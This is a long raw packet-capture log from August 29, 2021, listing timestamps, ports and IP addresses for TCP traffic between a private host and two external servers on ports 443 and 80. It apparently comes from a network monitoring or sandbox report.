Aug 29, 2021 22:27:09.409398079 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.409429073 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.410073042 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.410096884 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.410123110 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.410141945 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.410147905 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.410164118 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.410204887 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.410923004 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.410948038 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.410970926 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.410991907 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.411001921 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.411027908 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.411045074 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.411746025 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.411775112 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.411797047 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.411818027 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.411825895 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.411881924 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.412655115 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.412683964 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.412708998 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.412714958 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.412733078 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.412739038 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.412761927 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.412798882 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.413419008 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.413445950 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.413470984 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.413475037 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.413491964 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.413495064 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.413506985 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.413511992 CEST	80	49738	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.413528919 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.413585901 CEST	49738	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:09.413620949 CEST	80	49738	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.413683891 CEST	49738	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:09.413779974 CEST	80	49738	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.413841009 CEST	49738	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:09.413978100 CEST	80	49738	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.414041996 CEST	49738	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:09.414165020 CEST	80	49738	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.414181948 CEST	80	49738	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.414225101 CEST	49738	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:09.414231062 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.414272070 CEST	49738	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:09.414295912 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.414391041 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.414414883 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.414438963 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.414448023 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.414463043 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.414463043 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.414475918 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.414479971 CEST	80	49738	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.414494991 CEST	80	49738	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.414511919 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.414530993 CEST	49738	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:09.414571047 CEST	49738	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:09.414648056 CEST	80	49738	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.414717913 CEST	49738	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:09.414844990 CEST	80	49738	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.414899111 CEST	49738	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:09.415272951 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.415296078 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.415317059 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.415328979 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.415340900 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.415345907 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.415350914 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.415389061 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.416129112 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.416157961 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.416179895 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.416192055 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.416203022 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.416214943 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.416234970 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.416954041 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.416984081 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.417002916 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.417026997 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.417042017 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.417072058 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.417104006 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.417764902 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.417833090 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.418802023 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.418828011 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.418850899 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.418876886 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.418910980 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.423738003 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.423758984 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.423774004 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.423789024 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.423809052 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.423897982 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.423947096 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.424213886 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.424232006 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.424251080 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.424271107 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.424284935 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.424288988 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.424320936 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.424329042 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.425139904 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.425164938 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.425184965 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.425205946 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.425215960 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.425228119 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.425235033 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.425240040 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.425265074 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.425281048 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.425952911 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.425975084 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.425993919 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.426007986 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.426023006 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.426044941 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.426090956 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.426137924 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.426166058 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.426212072 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.426757097 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.426783085 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.426803112 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.426822901 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.426825047 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.426835060 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.426841021 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.426841974 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.426867962 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.426887035 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.427614927 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.427633047 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.427647114 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.427670002 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.427685022 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.427692890 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.427736998 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.428395987 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.428414106 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.428427935 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.428442955 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.428458929 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.428481102 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.428561926 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.429234982 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.429255009 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.429270983 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.429286003 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.429306030 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.429322004 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.429380894 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.429405928 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.430064917 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.430080891 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.430095911 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.430109978 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.430124044 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.430129051 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.430172920 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.430208921 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.430912018 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.430931091 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.430946112 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.430960894 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.430975914 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.430984974 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.431004047 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.431061029 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.431725979 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.431742907 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.431756020 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.431773901 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.431788921 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.431790113 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.431855917 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.432584047 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.432600975 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.432615995 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.432630062 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.432645082 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.432702065 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.432743073 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.433557987 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.433572054 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.433587074 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.433620930 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.433645010 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.433875084 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.433891058 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.433906078 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.433933020 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.433933020 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.433948040 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.433963060 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.433969021 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.434024096 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.434850931 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.434869051 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.434885025 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.434900045 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.434915066 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.434923887 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.434928894 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.434964895 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.435009956 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.435780048 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.435796976 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.435811043 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.435830116 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.435844898 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.435852051 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.435859919 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.435888052 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.435933113 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.436604977 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.436620951 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.436635971 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.436661959 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.436677933 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.436680079 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.436696053 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.436728954 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.436762094 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.437447071 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.437489033 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.437505960 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.437511921 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.437520027 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.437535048 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.437555075 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.437572002 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.437679052 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.437701941 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.438317060 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.438335896 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.438353062 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.438366890 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.438381910 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.438399076 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.438412905 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.438438892 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.439193010 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.439214945 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.439233065 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.439251900 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.439270973 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.439276934 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.439294100 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.439301014 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.439325094 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.439347982 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.440025091 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.440046072 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.440063953 CEST	443	49737	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:09.440105915 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.440171003 CEST	49737	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:09.448725939 CEST	80	49738	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.448741913 CEST	80	49738	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.448755026 CEST	80	49738	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.448766947 CEST	80	49738	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.448785067 CEST	80	49738	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.448839903 CEST	49738	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:09.448901892 CEST	49738	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:09.448982954 CEST	80	49738	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.449100971 CEST	80	49738	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.449315071 CEST	80	49738	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.449332952 CEST	80	49738	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.449350119 CEST	80	49738	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.449394941 CEST	80	49738	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.449619055 CEST	80	49738	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.449635029 CEST	80	49738	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.449812889 CEST	80	49738	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.449831009 CEST	80	49738	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.449971914 CEST	80	49738	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.449989080 CEST	80	49738	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.450114012 CEST	80	49738	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.483994961 CEST	80	49738	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.484025002 CEST	80	49738	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.484040022 CEST	80	49738	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.484213114 CEST	80	49738	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.484306097 CEST	80	49738	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.524126053 CEST	80	49738	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.524214029 CEST	49738	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:09.709698915 CEST	49738	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:09.711246967 CEST	49739	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:09.744174004 CEST	80	49739	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.744313955 CEST	49739	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:09.745954037 CEST	49739	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:09.746045113 CEST	49739	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:09.746196032 CEST	80	49738	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.746295929 CEST	49738	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:09.746305943 CEST	49739	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:09.746454000 CEST	49739	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:09.779445887 CEST	80	49739	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.779469967 CEST	80	49739	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.779475927 CEST	80	49739	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.779517889 CEST	80	49739	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.779638052 CEST	49739	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:09.779807091 CEST	80	49739	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.779897928 CEST	80	49739	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.779907942 CEST	49739	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:09.779910088 CEST	80	49739	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.779953957 CEST	49739	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:09.780002117 CEST	49739	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:09.812563896 CEST	80	49739	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.812592030 CEST	80	49739	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.812608004 CEST	80	49739	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.812649965 CEST	49739	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:09.812701941 CEST	49739	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:09.812763929 CEST	80	49739	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.812849998 CEST	49739	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:09.812853098 CEST	80	49739	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.812870979 CEST	80	49739	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.812915087 CEST	49739	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:09.812944889 CEST	49739	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:09.845561028 CEST	80	49739	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.845577955 CEST	80	49739	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.845583916 CEST	80	49739	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.845742941 CEST	49739	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:09.845839024 CEST	80	49739	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.845853090 CEST	80	49739	46.17.96.36	192.168.2.4
